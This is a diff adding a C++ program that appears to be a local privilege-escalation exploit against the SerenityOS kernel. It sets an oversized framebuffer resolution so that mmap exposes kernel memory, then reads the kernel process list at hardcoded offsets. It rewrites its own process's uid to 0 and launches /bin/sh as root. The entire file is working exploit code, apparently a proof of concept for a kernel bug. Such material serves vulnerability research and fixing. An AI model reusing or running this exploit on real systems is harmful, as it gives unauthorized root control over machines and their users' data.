|
| 1 | +#include <AK/Types.h> |
| 2 | +#include <fcntl.h> |
| 3 | +#include <stdio.h> |
| 4 | +#include <string.h> |
| 5 | +#include <sys/ioctl.h> |
| 6 | +#include <sys/mman.h> |
| 7 | +#include <unistd.h> |
| 8 | + |
| 9 | +int main() |
| 10 | +{ |
| 11 | + int fd = open("/dev/fb0", O_RDWR); |
| 12 | + if (fd < 0) { |
| 13 | + perror("open"); |
| 14 | + return 1; |
| 15 | + } |
| 16 | + |
| 17 | + size_t width = 17825; |
| 18 | + size_t height = 1000; |
| 19 | + size_t pitch = width * 4; |
| 20 | + size_t framebuffer_size_in_bytes = pitch * height * 2; |
| 21 | + |
| 22 | + FBResolution original_resolution; |
| 23 | + if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) { |
| 24 | + perror("ioctl"); |
| 25 | + return 1; |
| 26 | + } |
| 27 | + |
| 28 | + FBResolution resolution; |
| 29 | + resolution.width = width; |
| 30 | + resolution.height = height; |
| 31 | + resolution.pitch = pitch; |
| 32 | + |
| 33 | + if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) { |
| 34 | + perror("ioctl"); |
| 35 | + return 1; |
| 36 | + } |
| 37 | + |
| 38 | + auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0); |
| 39 | + if (ptr == MAP_FAILED) { |
| 40 | + perror("mmap"); |
| 41 | + return 1; |
| 42 | + } |
| 43 | + |
| 44 | + printf("Success! Evil pointer: %p\n", ptr); |
| 45 | + |
| 46 | + u8* base = &ptr[128 * MB]; |
| 47 | + |
| 48 | + uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4]; |
| 49 | + printf("base = %p\n", base); |
| 50 | + printf("g_processes = %#08x\n", g_processes); |
| 51 | + |
| 52 | + auto get_ptr = [&](uintptr_t value) -> void* { |
| 53 | + value -= 0xc0000000; |
| 54 | + return (void*)&base[value]; |
| 55 | + }; |
| 56 | + |
| 57 | + struct ProcessList { |
| 58 | + uintptr_t head; |
| 59 | + uintptr_t tail; |
| 60 | + }; |
| 61 | + |
| 62 | + struct Process { |
| 63 | + // 32 next |
| 64 | + // 40 pid |
| 65 | + // 44 uid |
| 66 | + u8 dummy[32]; |
| 67 | + uintptr_t next; |
| 68 | + u8 dummy2[4]; |
| 69 | + pid_t pid; |
| 70 | + uid_t uid; |
| 71 | + }; |
| 72 | + |
| 73 | + ProcessList* process_list = (ProcessList*)get_ptr(g_processes); |
| 74 | + |
| 75 | + Process* process = (Process*)get_ptr(process_list->head); |
| 76 | + |
| 77 | + printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next); |
| 78 | + |
| 79 | + if (process->pid == getpid()) { |
| 80 | + printf("That's me! Let's become r00t!\n"); |
| 81 | + process->uid = 0; |
| 82 | + } |
| 83 | + |
| 84 | + if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) { |
| 85 | + perror("ioctl"); |
| 86 | + return 1; |
| 87 | + } |
| 88 | + |
| 89 | + execl("/bin/sh", "sh", nullptr); |
| 90 | + |
| 91 | + return 0; |
| 92 | +} |
0 commit comments